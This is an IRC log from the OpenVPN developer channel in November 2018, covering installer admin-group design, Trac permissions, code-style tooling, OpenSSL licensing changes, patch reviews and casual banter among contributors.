installing windows apps 11:29 < tincantech> why not make it an installer checkbox [X] Create OpenVPN Administrators Group. 11:29 < tincantech> not silently miss one of the most crucial security steps ..... 11:36 < tincantech> also .. long time users of openvpn, who do not keep in touch with its dev, will probably login as admin to upgrade and will never create the openvpn-admin group because they wrongly assume that openvpn still requires admin rights 17:52 < kitsune1> tincantech: But what's the use of the group without adding any users to it. So if the installer creates the group it will have to prompt the admin to add users -- it will have to list all users in the system and offer a menu to select which etc.? 17:55 < kitsune1> In my view its not a crucial step at all. An admin installs openvpn and have the necessary configs in a central location and all users can use it without any further setup. That covers most business use cases. In home use, most users are admins so again nothing more required. Its only when limited users need to install their own configs in their profile does this question of the ovpn_admin_group ar 17:55 < kitsune1> ises. 18:02 < kitsune1> And even the, iirc, the GUI prompts the user to create the group and add themselves to it and provides an easy way to elevate and do what is necessary. No? 18:16 < tincantech> nope .. just create the group .. or ask for it via check box in the intaller .. m2c 18:39 < tincantech> I know .. let openvpn *not* install a crucial security dependancy based on who i am logged in as .. yeah, good call .... 18:41 < tincantech> "get (not) openvpn" ... same crap as ever 19:29 < kitsune1> Not having the group and any users in it is the most secure setup. That's what openvpn installer sets up by default. The GUI creates the group and adds the user as and when needed if the user can provide admin credentials -- else it protects against the user running unauthorized configs. So the status quo looks quiet sensibel to me. Just my 2c -- wonder what the "official" position is. --- Day changed Mon Nov 26 2018 01:47 <@cron2> kitsune1 summarizes things nicely 01:48 <@cron2> the whole point of the openvpn admin group is not "who can run openvpn" but "who can run openvpn on configs not in the system config directory, which is admin-only writeable" 02:15 <@plaisthos> it is too early 02:15 <@plaisthos> I cannot reliable count to 5 or 6 02:16 <@ordex> xD 02:16 <@ordex> that implies you can get to 4 ! 02:16 <@ordex> congrats! 02:16 <@ordex> and now I see why :P 02:20 <@cron2> I was about to comment on this... :) 02:45 <@plaisthos> Posting a v5 as v6 that actually is a v2 since there are no v1-v3 and v4 and v5 are identical 02:45 <@plaisthos> no v1-v2 and v3 and v4 are identical 02:45 <@plaisthos> dammit 02:45 <@plaisthos> still cannot count %) 02:57 <@cron2> I wonder if there is a technical solution to this... 02:57 <@cron2> like, before sending the mail, plaisthos has to solve a capcha that involves math, on the "what is 4+1 =?" level 02:57 <@plaisthos> cron2: :P 02:57 <@plaisthos> code should be good though 03:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:01 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:06 <@cron2> code does not involve counting, I hope :) 03:06 <@plaisthos> it is technically not even code in there ;) 03:06 <@plaisthos> only documentation 06:18 <@mattock1> meeting on wed? 06:32 <@cron2> yep 06:33 <@cron2> let's see if this works again (it worked nicely on Friday) 06:33 <@cron2> mattock1: what's the state of affairs with the T-Shirts? :-) 07:13 <@cron2> (it works, the moment you mention T-Shirts, mattock1 goes offline) 07:23 <@mattock1> I received the sample T-shirt and it was perfect 07:23 <@mattock1> I need to place the actual order to get the rest 07:24 <@mattock1> before that I will need to (remember to) ask a couple of other people if they want shirts as well 07:36 <@cron2> \o/ 08:25 <@plaisthos> mattock1: did you find out what went wrong? 08:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:32 <@plaisthos> lession learned, don't ask too much about t-shirts 08:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:45 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:47 <@plaisthos> dazo: I am sorry, ordex trained me too well to look for style thing even those not spotted by uncrustify :P 10:39 <@cron2> domeone still needs to build an uncrustify-git-pre-commit-check... 10:39 * cron2 looks at dazo 10:40 <@plaisthos> yeah. I agree 10:40 <@plaisthos> would help me a lot if that is a local thing too 10:41 <@plaisthos> https://github.com/ddddavidmartin/Pre-commit-hooks/blob/master/pre-commit-uncrustify looks promising 10:41 <@vpnHelper> Title: Pre-commit-hooks/pre-commit-uncrustify at master · ddddavidmartin/Pre-commit-hooks · GitHub (at github.com) 10:43 <@cron2> oh, nice 10:45 <@cron2> doubly nice, including an "though shalt use this patch to fix!" :-) 11:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:36 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:32 <@ecrist> mattock1: hey, sent you an email re: forums 12:32 <@ecrist> something wonky with facter, it most certainly is compiled with libcurl. 12:59 <@vpnHelper> RSS Update - gitrepo: Remove deprecated --compat-x509-names and --no-name-remapping <https://github.com/OpenVPN/openvpn/commit/c3f565f0590b152c6ea18be230509be8f3c832f0> 13:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:12 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 15:14 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:14 -!- mode/#openvpn-devel [+o cron2] by ChanServ 15:51 <@ordex> plaisthos: :D --- Day changed Tue Nov 27 2018 00:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:51 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:11 <@mattock1> ecrist: I wonder if facter has been compiled too old libcurl or something 08:17 <@ecrist> I'm not sure. I'd suggest maybe emailing the package maintainer and see what they can figure out. 08:17 <@ecrist> Might be a bug in the freebsd compile. 08:19 <@ecrist> email puppet@freebsd.org. Feel free to CC me and I'll try to help get it figured out. 08:42 <@mattock1> ecrist: ok 09:08 <@mattock1> mail sent 09:28 < tincantech> ecrist: mattock1 is there any issue with trac, I have a user who claims that he cannot file a bug report despite being logged into trac .. ican see the button myself so maybe a privelege has changed for other users ? 09:30 <@ecrist> not that I'm aware. 09:31 < tincantech> user name: an0nymous 09:31 < tincantech> ok thanks :) 09:48 <@mattock1> tincantech: I blame the spam filter 09:48 <@mattock1> that is usually the culprit 09:50 <@ecrist> mattock1's not wrong 09:52 <@mattock1> tincantech: I recall you have access to the spam monitoring frontend in Trac - can you check if that user's edit have been flagged as spam? 10:23 <@mattock1> did we agree in a meeting tomorrow? 10:55 < tincantech> mattock1: the spam filter shows no reports for an0nymous .. but it does show a few for me :) I have been editing the GUI page and set it off one time 10:55 < tincantech> anyway, I am sure we have worked out his issue .. so it's not important 10:58 < tincantech> on second glance there is a report for anonymous but that was 4 days ago and 93.48%, i guess he's out of luckk ;) 11:28 <@ecrist> tincantech: I'll look right now. Is the user's login an0nymous? 11:32 <@ecrist> mattock1: What is the public IP of the community server? 11:37 <@mattock1> ecrist: it probably varies as the server is behind cloudflare 11:37 <@ecrist> tincantech: was the user manu0420 11:38 <@ecrist> mattock1: I was trying to SSH to it from forum box 11:38 <@ecrist> I also wanted to roll it into my backup scheme. 11:38 <@mattock1> try community.openvpn.in 11:38 <@mattock1> is your backup push or pull? 11:39 <@ecrist> pull 11:40 <@ecrist> and no luck on the .in hostname 11:40 <@ecrist> no ping, no ssh 11:54 < tincantech> ecrist: no the user claimed to be either anOnymous or an0nymous .. i don't think it matters tho 11:55 <@ecrist> I don't see an an0nymous in the trac logs, and you cannot log in as anonymous 11:55 <@ecrist> trac requires an authenticated user in order to create a ticket. 11:56 <@ecrist> And manu0420 was definately a spammer. 11:56 < tincantech> maybe "anOnymous" is ignoed .. 11:57 < tincantech> fyi: anOnymous claimed he could not see a "report bug" button .. he did not get refused bdue to spam .. 11:58 <@ecrist> right, the button doesn't exist if you're not logged in 11:58 < tincantech> he claimed to be logged in to trac .. i made it clear that login top the forum was no enough 12:01 <@ecrist> that was not the case, it seems. 12:01 < tincantech> ;) 12:02 < tincantech> ecrist: this is the thread https://forums.openvpn.net/viewtopic.php?f=36&t=27502#p82616 12:02 <@ecrist> In order to gain TICKET_APPEND, TICKET_CREATE, WIKI_CREATE, and WIKI_MODIFY, a user must be authenticated. 12:02 <@vpnHelper> Title: [Solved] Connection Issues on iOS 12.1 (16B92) using OpenVPN Connect 3.0.2 (894) - OpenVPN Support Forum (at forums.openvpn.net) 12:04 < tincantech> probably did not understand "login to trac" ;) 14:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Wed Nov 28 2018 01:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:03 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:45 <@cron2> syzzer: are you around? 05:14 <@dazo> mattock1: you're not in #openvpn-devel ..... 05:18 <@ordex> in openvpn-meeting he meant 05:45 <@dazo> yes 05:45 <@dazo> duh 05:45 * dazo promises to try to wake up :-P 06:54 <@mattock1> urgh 06:54 <@mattock1> damn me 06:54 <@mattock1> indeed I was not 06:54 <@mattock1> I blame my selfphone for not reminding me 06:55 <@mattock1> I may have been at lunch at the moment so I missed it... this is the first time I arrange a meeting and forget to participate 06:55 <@mattock1> sorry 06:55 <@mattock1> on my end I only had topic #1 06:55 <@mattock1> basically ostif.org suggested that they could organize a security audit of changes of the "diff" of 2.4.0 -> 2.5.0 06:56 <@mattock1> if this is something we want to have done 06:58 <@plaisthos> mattock1: selfphone? 06:58 <@plaisthos> :P 07:10 <@mattock1> what are they called nowaday? 07:11 <@mattock1> mobiles? 07:14 <@plaisthos> mattock1: cell phone in US English and mobile phone is BrE 07:17 <+lev__> or you can just say kännykkä 07:24 <@mattock1> I will use lev's proposal 07:24 <@mattock1> my kännykkä did not remind me loudly enough so I omitted my own meeting 07:24 <@mattock1> by accident 07:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:16 <@dazo> cell phone ;-) 08:47 <@plaisthos> the German word 'Handy' is wildly enough understood since it the prime example of German English 11:01 < kitsune1> I vote for 'keitai' -- handy sounds nice too. 11:03 < kitsune1> So mattock1's 'keitai malfunction' means no meeting chatlog to the list? 11:07 < kitsune1> So OpenSSL is going to leapfrog to version 3.0.0 -- wonder what LibreSSL would do? version 31.0.0 with feature parity with 1.0.2? https://www.openssl.org/blog/blog/2018/11/28/version/? 11:07 <@vpnHelper> Title: The Holy Hand Grenade of Antioch - OpenSSL Blog (at www.openssl.org) 11:30 <@dazo> "Over the years we’ve received plenty of feedback about the “uniqueness” of this scheme" ... no kidding! :-D 11:33 <@dazo> but actually, more importantly .... "OpenSSL version 3.0.0 will be the first version that we release under the Apache License 2.0" 11:34 <@dazo> this won't be a problem with OpenVPN 3 based code; as that is AGPLv3, which is compliant with AL2.0 11:35 <@dazo> but this might require some legal work for the Windows builds we do with OpenVPN 2.x, which is GPLv2-only and AL2.0 is not directly compatible with it 11:35 < kitsune1> Thelicense change is a good thing isn't it -- the GPL incomaptibility will be a thing of the past. 11:35 <@dazo> yes, it is 11:36 <@dazo> now we ship with a special clause allowing linking against OpenSSL ... because their current license is definitely not GPL compliant at all 11:36 < kitsune1> Oh, AL2.0 not compatible with GPLv2? 11:36 <@dazo> nope 11:36 <@dazo> https://www.gnu.org/licenses/license-list#apache2 11:36 <@vpnHelper> Title: Various Licenses and Comments about Them - GNU Project - Free Software Foundation (at www.gnu.org) 11:36 < kitsune1> So the current special clause will need to bre replaced by another one? That's no progress.. 11:37 <@dazo> But I don't believe the AL2.0 difference won't be that critical and can be handled well ... but we might need to get some license experts to look at it for us 11:38 <@dazo> but regardless, for OpenVPN 3, it is good news :) 11:41 <@dazo> ahh, this is a good overview https://en.wikipedia.org/wiki/Comparison_of_free_and_open-source_software_licenses#Approvals 11:41 <@vpnHelper> Title: Comparison of free and open-source software licenses - Wikipedia (at en.wikipedia.org) --- Day changed Thu Nov 29 2018 00:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:10 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 00:10 <@mattock1> I just received a chatlog for yesterday's meeting 00:10 <@mattock1> looks like I'm not needed for meetings which is most excellent :D 00:11 <@mattock1> I'll read through it and send a summary 00:17 <@ordex> :D 01:20 <@cron2> if you're not there, meetings take way too long :) 01:39 <@mattock1> thank you for the complements cron2 :) 05:31 <@plaisthos> https://github.com/schwabe/ics-openvpn/issues/975 05:31 <@vpnHelper> Title: how to change domain name on apps? · Issue #975 · schwabe/ics-openvpn · GitHub (at github.com) 05:31 <@plaisthos> I am not sure what people expect me to answer there... 05:32 <@cron2> *kicher* "please help me stealing your stuff, I'm too lazy" 05:33 <@dazo> :-D 05:33 <@plaisthos> could you unluck your door for me to steal your stuff? My forged key isn't working 05:33 <@dazo> unlock and carry all your stuff to the truck outside the door 05:35 <@dazo> I wonder when this will change .... $ whois blinkt.id 05:35 <@dazo> [Querying whois.pandi.or.id] 05:35 <@dazo> [whois.pandi.or.id] 05:35 <@dazo> DOMAIN NOT FOUND 05:36 <@dazo> plaisthos: perhaps you should snag it while you can :-P 05:39 <@plaisthos> why the hell would you even change the domain but not the blinkt part 05:39 <@plaisthos> that looks like somebody has really no understanding what that id really does :) 05:40 <@plaisthos> btw. seems like .id is like uk 05:41 <@plaisthos> you can get .co.id and org.id but not something.id 05:45 <@cron2> it should be blinkt.it anyway 05:45 <@cron2> or blinkt.es 05:45 <@cron2> (which is the german form of "does it blink?") 05:47 <@dazo> :-D 05:50 <@plaisthos> blinkt.net is already taken ;) 05:51 <@plaisthos> blinkt.es would cost me 20 EUR per year 05:52 <@plaisthos> a bit too much for a fun domain 05:59 <@dazo> perhaps you can ask the id.blinkt guy if he wants to sponsor a better domain for you :-P 07:22 <@ecrist> mattock1: you around? 08:06 <@mattock1> yes for a while 10:49 <@cron2> this dialogue is amazing :) 11:06 <@dazo> almost sounds like a couple, married for 50 years :-P 13:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 16:14 <@ordex> for interested parties: https://www.openssl.org/news/secadv/20181112.txt --- Day changed Fri Nov 30 2018 00:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:28 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:13 -!- vectr0n_ is now known as vectr0n 03:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 03:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:33 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:47 <@cron2> oh, interesting. FreeBSD has uncrustify 0.67, Gentoo has 0.66 07:23 <@ordex> 0.68.1 << on my gentoo 07:23 <@ordex> (unstable) 07:26 <@dazo> LOL https://twitter.com/khepin/status/1057681823403147264 07:31 <@cron2> so, which rule is causing this... 07:31 <@cron2> - openvpn_snprintf(buf, sizeof(buf), "%"PRIi64, (int64_t)value); 07:31 <@cron2> + openvpn_snprintf(buf, sizeof(buf), "%" PRIi64, (int64_t)value); 08:14 <@dazo> I've skimmed through our options and compared against --show-config and looked at other defaults we've not defined .... but I didn't stumble upon something which looked like a match 08:15 <@cron2> ditto... 08:15 <@dazo> that that said ... I think that change does make sense though :-P 08:17 <@cron2> well, I find it a bit too spacey... but won't fight for it 08:17 <@cron2> plaisthos: block-ipv6 v5 is based on a patch that removes #ifdef ENABLE_PUSH_PEER_INFO 08:18 <@cron2> ... which I can't find on the list... 08:18 <@cron2> (so it conflicts when applying to options.c) 08:21 <@cron2> huh 08:21 <@cron2> weit 08:21 <@cron2> ah, no. v3 still had context that showed the #ifdef ENABLE_PUSH_PEER_INFO in options.c, in v5 this context is gone 08:38 <@cron2> ordex: did you ever review the actual code changes in the block-ipv6 patch, or just complain about style? 09:08 <@cron2> plaisthos: why is af_addr_size() moved from socket.h to proto.h? The only callers I could find are in socket.c, so socket.h (or even socket.c) sounds like a more logical place 09:14 <@cron2> ah. Some earlier version of ip_input() wanted that... 09:35 <@vpnHelper> RSS Update - tickets: #1143: --redirect-gateway ipv6 does not work without --ifconfig-ipv6 <https://community.openvpn.net/openvpn/ticket/1143> 11:16 < godzed> is this a developer only channel? I had a question related to development of an openvpn project. 11:17 < tincantech> godzed: ask :) 11:18 < godzed> im looking into a setup to automatically deploy openvpn configuration files for clients and send them over email (in cases where it is used as a commercial vpn service). from what I have been reading, it is possible with Freeradius. My question is if freeradius is the best way or would you recommend another way to automate this kind of a setup? 11:19 < godzed> I require not just openvpn, but ikev2 protocol vpn access on the same machine as well 11:19 < godzed> so the client receives openvpn + ikev2 access 11:19 < godzed> anyone here has any experience with what I asked? 11:20 < godzed> I have been looking into softether as well. It does the job, but devs wouldn't recommend it for a commercial setup. 11:21 <@dazo> OpenVPN itself only cares about OpenVPN .... so ikev2/ipsec stuff is not supported 11:21 <@dazo> softether is the only product I'm aware of providing multiple VPN protocols in the same solution 11:21 <@dazo> (and softether have re-implemented the openvpn protocol from scratch on their own) 11:22 <@dazo> for config deployments .... sending configs via mail or download should work out-of-the-box using OpenVPN Connect clients or OpenVPN GUI on Windows (which is shipped with the Windows build) 11:23 <@dazo> "OpenVPN for Android" should also handle configs in the same way 11:23 < godzed> so you are saying the same server cannot run both openvpn + ikev2 instances ? 11:23 <@dazo> OpenVPN is only OpenVPN 11:24 <@cron2> the server can run whatever it wants, as long as UDP/1194 is handed to the OpenVPN process :-) 11:24 <@dazo> you can probably configure ipsec on the side of OpenVPN, having it in a separate IP subnet, and handle the routing on the server though 11:24 <@cron2> this 11:24 < godzed> i'm looking for someone with knowledge about it's implementation for a private project. 11:25 <@dazo> but we in the openvpn channels most likely doesn't care about much other than, well, openvpn 11:26 <@dazo> godzed: why do you have the ipsec requirement? 11:26 < godzed> to provide clients with openvpn + ikev2 access 11:27 < godzed> mobile os never comes with openvpn shipped default 11:27 < godzed> mobile will always be able to use ikev2 though 11:27 <@dazo> well, OpenVPN Connect is on all mobile platforms 11:27 < godzed> but still, is not part of android/iphone os 11:27 <@dazo> for free, but must be installed first though ... MDM should be able to remote install, I believe 11:28 < godzed> yes, its free and available. i have tried and it works 11:28 < godzed> my requirement however is for both protocols 11:28 < godzed> i know someone who is using such a setup and it is working 11:28 < godzed> same machine, 2 protocols. 11:28 <@dazo> well, then there is softether, unless you want to do it all yourself 11:28 < godzed> softether is available yes, but I am swayed towards a fully custom solution for this 11:29 < godzed> would you be willing to take up a job on this one? (considering you are from the dev channel so must know about it) 11:29 <@dazo> #openvpn can support the #openvpn setup .... or if you go for OpenVPN Access Server (which integrates even better with Connect clients), you get commercial support 11:29 <@dazo> but there's no IPSec support 11:29 <@dazo> from the openvpn community or company, though 11:30 <@dazo> I care about OpenVPN, and that's enough for me 11:30 < godzed> i wont be using AS. Commercial support is not ready to provide a custom solution like I asked. 11:30 < godzed> they can only help with the existing code 11:30 < godzed> so i require someoen with knowledge about openvpn to help me with this setup 11:30 <@dazo> AS support will cover OpenVPN only, that is true .... the combo you're looking for seems then to not be available as a commercial offering anywhere 11:31 < godzed> yes 11:31 < godzed> only way possible is a fully custom solution 11:31 <@dazo> seems you have to build up that yourself then, and support it yourself 11:32 <@dazo> but, OpenVPN Inc can commercially support a solution with AS ... even if you run IPSec on the side, but the support itself will only be for the OpenVPN setup 11:32 <@dazo> so that reduces the "self-support" to IPSec only 11:34 < godzed> but AS is per user basis 11:34 < godzed> and requires licensing 11:34 < godzed> open-source does not 11:34 < godzed> and can be customized for unlimited users 11:34 <@dazo> well, that's how OpenVPN Inc covers the support costs 11:34 <@cron2> for some funny reason the people supporting AS needs to eat 11:35 <@cron2> (and I've met a few of them: they eat a lot! :-)) 11:35 <@dazo> :-P 11:35 <@cron2> dazo: if you put Johan on a diet, you could lower support costs quite a bit 11:35 * cron2 runs 11:35 <@dazo> :-D 11:35 < godzed> this becomes an issue when you talk about a large-scale user base 11:36 <@dazo> godzed: how many users? 11:36 < godzed> 1000 clients 11:36 < godzed> also you need to sell it, and turn a profit 11:37 < godzed> no sense paying license fees for AS when open source can be configured to do the job 11:37 <@dazo> well, I'm sure there's discount with such amounts ... just need to start the negotiation process 11:37 <@dazo> if you don't want to pay, there is no support ....it's that easy 11:37 <@dazo> there is only community support, which is what it is 11:37 < godzed> im not interested in the AS 11:38 < godzed> i have a copy of a source code with me of a project doing this 11:38 < godzed> but its choppy 11:38 < godzed> vpn works, but integration has problems 11:38 <@dazo> and nobody is interested helping people earning money and won't contribute back 11:38 < godzed> @dazo - i dont see your point here about the money 11:38 < godzed> i didn't argue AS should be free 11:38 * cron2 is only interested in ACKs 11:39 <@dazo> :) 11:40 <@dazo> godzed: those of us working with openvpn, community and corporate, have living costs which needs to be covered. If you want to earn money on a VPN setup and wants support and software for free, you'd better build up an organisation which can handle needed development and providing needed support for your service 11:40 <@dazo> nobody here will give you this for free 11:40 < godzed> i did mention in my first few sentences if someone here can do this kind of job 11:41 < godzed> job as in freelance 11:41 <@dazo> well, I'm not interested ... I have more exciting projects already running 11:59 < tincantech> godzed: i can probably help .. but bare-in-mind, you get what you pay for ;) 11:59 < tincantech> hense the "tincan" in tincantech :D 12:00 < tincantech> two tin cans and a tight pieve of strig 12:00 < tincantech> piece of string ! 12:19 <@plaisthos> cron2: I think the icmp code uses that too 12:26 <@plaisthos> godzed: I have done project like this in past 12:27 <@plaisthos> But I am currently also not interested and also remember AS is licensed for concurrent users and not total users 12:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:28 < tincantech> concurrent users .. That's really generous ;) 12:29 < tincantech> honest! 12:51 < godzed> well, anyways - if someone with good experience is able to help me with this, just message me directly. 13:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:46 <@cron2> plaisthos: it doesn't (icmp), but it looks like you intended to have it use it :-) - but since the code is much simpler in there ("AF_INET? 4:16") you decided to not call it 15:40 <@ordex> cron2: I reviewed it until v3 i think? then complained only about style 15:45 <@cron2> the comments about v3 had some suggestions for code changes, and lots of style comments... but I saw no single "I tested it and it worked" 15:45 <@ordex> yup, did not test it yet 15:46 <@ordex> sorry if I gave you the impression I did 15:47 <@cron2> I had sort of assumed that it was reviewed and tested and you only had some style nagging (which I might be able to fix on the fly when merging v5) :) 15:48 <@ordex> ah 15:48 <@ordex> :P 15:51 < tincantech> RTFM .. such fun :) 15:51 < tincantech> man 8 openvpn: --iproute cmd :: Set alternate command to execute instead of default *iproute2* command 15:51 < tincantech> ifconfig & route are not part of iproute2 15:51 <@dazo> heh 15:51 <@dazo> probably a wrongly negated confusion :-P 15:52 <@cron2> tincantech: that option exists only in --enable-iproute2 builds 15:52 < tincantech> is that lika a backwardly compatible forward thinking horse ? 15:52 < tincantech> ahh .. --enable-iproute2 15:52 < tincantech> thanks :) 15:53 < tincantech> but still .. the manual seems to have its pants on back to front 15:53 <@cron2> this admittedly is a bit weird. 15:54 <@cron2> *If* you build with --enable-iproute2, it won't hard-code "/usr/sbin/ip" as command path, but use a run-time-configurable default 15:54 < tincantech> my noodle has been seriously scratched ;) 15:54 <@cron2> so you can run "openvpn --iproute /my/bin/ip" to call the "ip" program somewhere else 15:54 <@cron2> for ifconfig/route builds, the program paths are fixed 15:54 <@cron2> and no, this wasn't my doing :-) 15:54 < tincantech> i'll give it a go now .. but the manual did get me in a headlock 15:54 <@cron2> I can see that :) 15:55 < tincantech> he :) 16:01 < tincantech> ok .. so i can completely get rid of ifconfig/route .. cool :) 16:02 <@dazo> yeah, with --enable-iproute2 16:02 < tincantech> yup 16:02 <@dazo> but you know what's even cooler? I'm just hours away from pushing out openvpn3-linux code which doesn't even need iproute2 neither :-P 16:03 <@dazo> I'm testing all the mess I've created .... just completed cleaning up lots of WIP stuff 16:05 < tincantech> dazo: you are going to need a WIP ;) 16:06 <@dazo> :-P 16:06 < tincantech> i am curious tho .. are you expecting to be able to do ovpn3 for windows ? 16:07 < tincantech> i mean as a long term goal 16:07 < tincantech> from what i understand android should be easy 16:07 < tincantech> ish 16:08 <@dazo> yes, but that's a very different implementation though .... there's work in the pipe for a brand new OpenVPN Connect client, which will be somewhat similar to the mobile clients 16:08 <@dazo> and there's some work in the pipe for Windows 10's UWP stuff, which provides a VPN API ... but we're working closely with Microsoft here, as we've discovered lots of issues with this API 16:09 <@dazo> but those are close source projects though 16:09 < tincantech> sure ;) 16:09 < tincantech> i was just curious how much the windows side of things still is .. in general 16:10 < tincantech> what is it now .. 75% of internet users are on android 16:10 < tincantech> windblows has been left in the dust 16:10 <@dazo> on the open source side .... we might put resources here too, but that's further down the line .... and will probably more focus on a command line approach in the beginning 16:10 <@dazo> on mobile, yes 16:11 <@dazo> but on the computer side, Windows is pretty much common .... and XBox is also some kind of Windows 16:11 < tincantech> that is revolution right there .. and nobody even fn noriced .. except the accountants and tax man 16:11 <@dazo> (based on UWP - Universal Windows Platform) 16:13 < tincantech> i would not be suprised that there will be so few desktop users in the future that .. well idk what will happen but something any way 16:15 <@dazo> I've heard people talking about that for 10 years .... but still when I go into most tech-stores, there's plenty of Windows boxes there lined up. Yes, macOS has gotten a broader market share than 10-15 years ago, but it hasn't overtaken completely 16:16 < tincantech> all these IoT devices won't be running W 16:16 <@dazo> but what you should pay attention to is why MSFT is enabling Linux directly in Windows ... now the Windows kernel emulates Linux syscalls .... but there's a grander plan here 16:17 <@dazo> in the IoT scope, Linux is far ahead already 16:17 < tincantech> they are trying to catch but stay in the slow lane ;) 16:18 < tincantech> follow the money .. it's all you need. they should teach that in school 16:18 <@dazo> and the IoT thingies that don't run Linux, they're probably more like micro-controllers than micro-computers 16:19 < tincantech> and there will be Many of them 16:19 <@dazo> yeah, but that's just one aspect ... reducing costs is another one .... so when MSFT also provides SQL Server for LInux, open sources debug tools they've had for Windows as Linux ports .... there's something really going on here 16:20 <@dazo> at some point it wouldn't surprise me if they're moving towards a Linux kernel with a Windows user-land 16:20 < tincantech> already there .. linux mint 16:20 < tincantech> although not technically but in every other sense 16:20 <@dazo> another area .... their Azure investments is beginning to really pay off, even though approx 50% of the workload runs Linux 16:21 <@dazo> but you can't run MSO on Linux Mint out-of-the-box ;-) 16:21 < tincantech> that i guess is their intel intelligencce .. or "insider trading" deal 16:21 <@dazo> there's cross-over/wine, etc .... but all that are poor compared to something really built from the true Windows source code 16:22 < tincantech> LOL 16:22 < tincantech> that last turn of phrase has me "on the ropes" .. "true" windows source code 16:23 < tincantech> maybe Xerox would need to pay you a visit ;) 16:23 <@dazo> if MSFT provides a their own Windows userland on top of a Linux kernel .... that would be based on true Windows source code 16:23 <@dazo> meh 16:23 <@dazo> that's an entirely different discussion though 16:24 < tincantech> i know ;) 16:25 < tincantech> dazo: how about .. "The Button" 16:25 <@dazo> ?? 16:25 < tincantech> you chucked me out of #here last time we discussed it .. 16:26 < tincantech> ((get o..) 16:27 <@dazo> aahhh .... that's far too long in the past .... I'm trying to look towards the future ;-) 16:28 < tincantech> still don't like it tho :-( 16:30 < tincantech> i do not have a single bookmark for https://openvpn.net/ .. not one 16:30 <@vpnHelper> Title: OpenVPN | The Worlds Most Trusted Virtual Private Network (at openvpn.net) 16:31 <@dazo> things will improve ... the marketing and web/design teams are working on a lot of areas, but the web/design people are also involved in our web based products as well ... and once I've released the openvpn3-linux 1.0 beta ... I can start pushing for improvements on the website too 16:36 < tincantech> i will not use the word "fraud" to describe openvpn inc. this time .. but I believe "deception" is a very close second place 16:38 < tincantech> this is not aimed at you dazo but rather the people you are trying to enlighten (i hope) 16:41 * tincantech does wonder what "party school" these "marketing wizards" dropped out of tho 16:42 <@dazo> they probably went to the "bling schools" .... "Oh look, it's shiny! It blinks! With cute cats! It's good! Lets do that!" 16:43 < tincantech> and you think that's a good thing ? 16:44 <@dazo> not at all! :) 16:44 < tincantech> my mind boggles ! 16:45 * dazo is doing inception training ;-) 16:45 < tincantech> if that is not a simple out-right statement of ageism then what is .. things are getting worse 16:45 * dazo lost track now .... goes back to openvpn3-linux hacking 16:48 < tincantech> hallf a pound of tu'penny rice .. etc 16:48 < tincantech> and that goes to show how old this f*****g scam has been goinf on for ! 16:51 * tincantech is "know" known as "The Button" .. hope they both haunt you all ;) 16:59 < tincantech> dazo: this one may interest you on account of android and that the error message does not exist in openvpn2 : https://forums.openvpn.net/viewtopic.php?f=33&t=27521 16:59 <@vpnHelper> Title: openvpn on android (debian chroot) can't ping - OpenVPN Support Forum (at forums.openvpn.net) 17:02 <@dazo> most likely because that openvpn build does not facilitate the VPN API in Android, which configures the network stack to allow packets to be sent via this tunnel; but plaisthos would probably know this better 17:03 <@dazo> the network stack on more reasonably recent Android versions are using lots of tricks for isolating network traffic 17:04 < tincantech> i simply grep'd the source ;) 17:05 <@dazo> you mean "Packet filtered" ? 17:05 < tincantech> also noye .. his routing is up the screw .. so it's not worth replying 17:05 <@dazo> or what did you grep for? 17:05 < tincantech> yes 'Packet filtered' 17:05 <@dazo> that's coming from the ping 17:05 < tincantech> and Packet in fact 17:06 < tincantech> ahh .. hold on .. i think i see 17:06 < tincantech> yep .. wrong source ;) 17:07 <@dazo> it's not from OpenVPN ... it's the Android network filtering stuff I just talked about, which triggers probably an ICMP 10 or 13 response 17:08 < tincantech> that's what i meant by "wrong source" i grep'd the wrong source 17:08 <@dazo> or ICMP Destination Unreachable, with the "reason" code 10 or 13 ... https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol 17:08 <@vpnHelper> Title: Internet Control Message Protocol - Wikipedia (at en.wikipedia.org) 17:09 <@dazo> well, could be 0 or 1 as well, but this is nitpicking :) 17:09 < tincantech> my mistake :) 17:09 -!- dazo [~freenode@openvpn/corp/developer/dazo] has left #openvpn-devel ["Leaving"] 17:09 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 17:09 -!- mode/#openvpn-devel [+o dazo] by ChanServ 17:10 <@dazo> meh ... 